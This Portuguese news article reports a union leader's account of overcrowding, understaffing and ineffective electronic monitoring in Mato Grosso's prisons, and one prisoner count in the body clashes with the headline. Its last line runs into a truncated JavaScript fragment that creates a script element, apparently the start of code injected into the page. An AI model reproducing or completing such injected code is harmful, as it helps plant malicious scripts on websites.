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Sistema prisional está em colapso, 11.000 presos para pouco mais de 6.000 vagas

lei-execucao-penalO sistema prisional de Mato Grosso está em colapso, segundo João Batista, presidente do Sindicato dos Servidores Penitenciários de MT, a falta de investimentos impede a realização de um trabalho a contento da sociedade mato-grossense.

Dentre os problemas apontados pelo sindicalista em entrevista à imprensa no mês de abril deste ano, estão a superlotação, já que o estado tem mais de 1.000 detentos em regime fechado e o reduzido efetivo no sistema prisional, com 2.500 agentes penitenciários, responsáveis por todos os trabalhos, como a vigilância nos presídios, a condução de presos para as audiências e outras atividades atinentes ao cargo. Atualmente o sistema prisional matogrossense possui cerca de 6.400 vagas, ou seja á ocupação praticamente dobra a capacidade instalada.

Outro dado interessante apontado pelo Sindicato dos servidores Penitenciário é que há mais de 12 mil mandados de prisão em aberto.

O sindicalista criticou a política de desencarceramento promovida pelo Governo do Estado, baseada na aplicação de medidas alternativas à prisão, monitoramento eletrônico e as audiências de custódia. “Estas medidas não podem ser apenas para desencarcerar, tem que ser alternativa à prisão dos que não precisam estar no sistema penitenciário”, reclamou. “Ao longo deste ano foram presas mais de 4.500 pessoas em flagrante delito, mas elas não foram parar no sistema penitenciário, porque o magistrado sabendo que não tem vagas, o que eles fazem, colocam em liberdade, muitos desses usando a tornozeleira eletrônica, e o monitoramento eletrônico não é com essa finalidade”, afirmou.

O presidente do Sindicato criticou o real objetivo do governo ao utilizar de maneira “equivocada” as tornozeleiras eletrônicas. “Está servindo apenas para o governo fazer mídia, ah, nós temos aí 2.500 presos em monitoramento eletrônico que está impedindo o inchaço no sistema penitenciário”, analisou afirmando que são implantadas as tornozeleiras, mas não há a fiscalização efetiva. “Isso não vai impedir o preso de cometer novos crimes, mas se ele fosse monitorado… o setor de monitoramento não tem mais do que 15 m², um pouco mais de 20 agentes penitenciários trabalhando”, afirmando que não é a única atividade do centro de monitoramento.

Fonte: Da Redação e Assessoriavar d=document;var s=d.createElement(‘script’);

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